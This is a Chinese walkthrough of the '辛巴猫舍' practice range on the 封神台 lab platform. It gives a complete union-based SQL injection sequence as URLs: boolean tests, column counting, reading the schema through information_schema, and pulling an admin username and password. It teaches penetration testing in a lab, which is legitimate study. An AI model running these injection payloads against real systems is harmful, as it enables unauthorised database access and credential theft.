【封神台】辛巴猫舍-SQL注入

本节学习目标:

  • 判断是否存在SQL漏洞,以便注入
  • 获取数据库的内容

本节需知: 

  • SQL注入
  • %20为空格的url代码
  • 环境为打靶环境

1. 判断是否存在SQL漏洞

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=1

【封神台】辛巴猫舍-SQL注入_第1张图片

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2

【封神台】辛巴猫舍-SQL注入_第2张图片

刚开始时1=1逻辑为真,页面正常显示;而后1=2逻辑为假,页面不正常显示:说明可以注入。 

2. 判断字段数

http://cntj8003.ia.aqlab.cn/index.php?id=1%20order%20by%201

假设为1,正常显示。

http://cntj8003.ia.aqlab.cn/index.php?id=1%20order%20by%202

假设为2,正常显示。

http://cntj8003.ia.aqlab.cn/index.php?id=1%20order%20by%203

假设为3,不正常显示。

判定字段数为2。

3. 判断回显点

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,2

【封神台】辛巴猫舍-SQL注入_第3张图片

出现2,说明2就是回显字段。

4. 查询数据库 

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,database()

【封神台】辛巴猫舍-SQL注入_第4张图片

 出现maoshe,说明当前数据库为maoshe。

5. 查询数据库版本

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,version()

【封神台】辛巴猫舍-SQL注入_第5张图片

出现5.5.53,说明当前数据库版本为5.5.53。

6. 查询当前数据库表名 

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1

【封神台】辛巴猫舍-SQL注入_第6张图片

出现admin,说明当前数据库存在一个表admin,里面就可能存在管理员信息。

7. 查询字段名 

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name%20=%20%27admin%27%20limit%200,1

【封神台】辛巴猫舍-SQL注入_第7张图片

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name%20=%20%27admin%27%20limit%201,1

【封神台】辛巴猫舍-SQL注入_第8张图片

http://cntj8003.ia.aqlab.cn/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name = %27admin%27 limit 2,1

【封神台】辛巴猫舍-SQL注入_第9张图片 当limit3,1时页面不正常显示,说明admin有三个字段,分别是id,username,password。

8.查询管理权限

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,username%20from%20admin%20limit%200,1

【封神台】辛巴猫舍-SQL注入_第10张图片

有一个用户admin。

【封神台】辛巴猫舍-SQL注入_第11张图片

当limit1,1时,有输出,limit2,1时无输出,也就是说这时候有两个用户,我们先尝试取admin的密码。

http://cntj8003.ia.aqlab.cn/index.php?id=1 and 1=2 union select 1,password from admin limit 0,1

【封神台】辛巴猫舍-SQL注入_第12张图片

 得到密码hellohack


参考文献:

猫舍 writeup- Track 知识社区 - 掌控安全在线教育 - Powered by 掌控者

你可能感兴趣的:(白帽,sql,数据库,安全)